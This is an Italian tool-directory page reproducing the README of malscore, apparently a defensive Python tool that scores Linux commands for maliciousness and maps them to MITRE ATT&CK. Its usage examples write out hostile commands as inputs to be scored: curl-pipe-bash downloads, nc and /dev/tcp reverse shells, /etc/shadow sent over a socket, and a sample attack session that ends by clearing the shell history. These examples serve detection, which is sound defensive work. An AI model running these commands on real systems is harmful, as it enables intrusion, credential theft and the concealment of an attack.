Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
malscore — Punteggio di malevolenza per i comandi Linux | Kitploit
Strumenti/GitHubGitHub/raj3shp/malscore
Strumenti DifensiviAnalisi StaticaScripting e AutomazioneAnalisi MalwareThreat IntelligenceRisposta agli IncidentiRilevamento di AnomalieAnalisi dei Log
GitHubraj3shp/malscore

malscore

Punteggio di malevolenza per i comandi Linux

Vedi Repository
91710h 37m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🦠 malscore

Versione PyPI Python 3.8+ Licenza: Apache-2.0 Zero dipendenze Mappato su MITRE ATT&CK

malscore prende una riga di comando Linux, o una sessione di comandi come una cronologia della shell, e restituisce un punteggio di malevolenza da 0 a 100 con una fascia di verdetto e la mappatura MITRE ATT&CK:

command(s) → features → signals → score + MITRE mapping

Non esegue, espande o risolve mai nulla — legge solo il testo (applicato da tests/test_safety.py). Non ha dipendenze oltre alla libreria standard di Python (3.8+).


Installazione

pip install malscore       # provides the `malscore` command

Da un checkout del sorgente:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Avvio rapido

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

API Python

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) oscura i valori che sembrano credenziali prima che qualsiasi testo di comando venga restituito; i punteggi non sono influenzati.


Esempi:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

In un file di sessione ogni riga non vuota è un comando, preso alla lettera: non c'è alcuna gestione di commenti, continuazioni di riga o here-document. --batch è diverso: valuta ogni comando di un feed JSON in modo indipendente, senza analisi incrociata tra comandi.


Fasce di verdetto

punteggioverdettosignificato
80–100criticalla forma è raramente legittima (reverse shell, cancellazione del disco, account uid‑0)
60–79highprove forti; da esaminare tempestivamente
35–59mediumsospetto nella maggior parte dei contesti (curl‑pipe‑shell, lettura di shadow)
15–34lowda notare in combinazione
0–14benignroutine

Le fasce e i pesi sono un punto di partenza regolato manualmente, non un modello addestrato — ogni punto del punteggio risale a un segnale denominato e a una tecnica MITRE ATT&CK.


Come viene costruito il punteggio

  1. Feature. Il comando viene analizzato lessicalmente (senza eseguire nulla), i wrapper come sudo/env/xargs vengono rimossi, si scende nelle sostituzioni e nei payload -c, e vengono calcolate feature deterministiche — catene di download, percorsi toccati, superfici di persistenza, trucchi di codifica, e un gruppo tradecraft (malscore/tradecraft.py) che riconosce specifiche tecniche d'attacco in base alla forma.
  2. Segnali. malscore/signals.py è un catalogo di ~120 segnali denominati: un predicato sul record delle feature, un peso in (0, 1], una tattica MITRE e id di tecniche. Un peso si legge come "quanto è probabile che questo sia ostile se fosse l'unica cosa che sappiamo". Il catalogo copre, per tattica ATT&CK:
    • execution — interprete da un download, payload decodificati, upgrade di TTY, esecuzione fileless da /proc/self/fd;
    • credential access — /etc/shadow e chiavi private, metadati cloud, ricerche per parole chiave di credenziali su file di configurazione, letture di .pgpass/.netrc/ file di credenziali cloud, scraping di ambiente e cronologia, hijack dell'SSH-agent;
    • privilege escalation — reverse shell, modifiche a sudoers, setuid, escape da container, shell root interattive, escape di shell tramite GTFOBins, il bypass sudo -u#-1, hijack del PATH;
    • collection / exfiltration — archivi e dump di database, accesso a tabelle o file contenenti numeri di carta / token / dati dei clienti, ricerche regex di numeri di carta e SSN, esfiltrazione via DNS e codificata, servizi paste/webhook;
    • defense evasion — manomissione di cronologia e log, disattivazione di EDR/audit, rimozione di flag immutabili, occultamento tramite bind-mount di /proc;
    • persistence / impact — cron, systemd, hook di login, cancellazione del disco, fork bomb, miner, DROP TABLE, uccisione di processi in massa.
Scarica lo strumento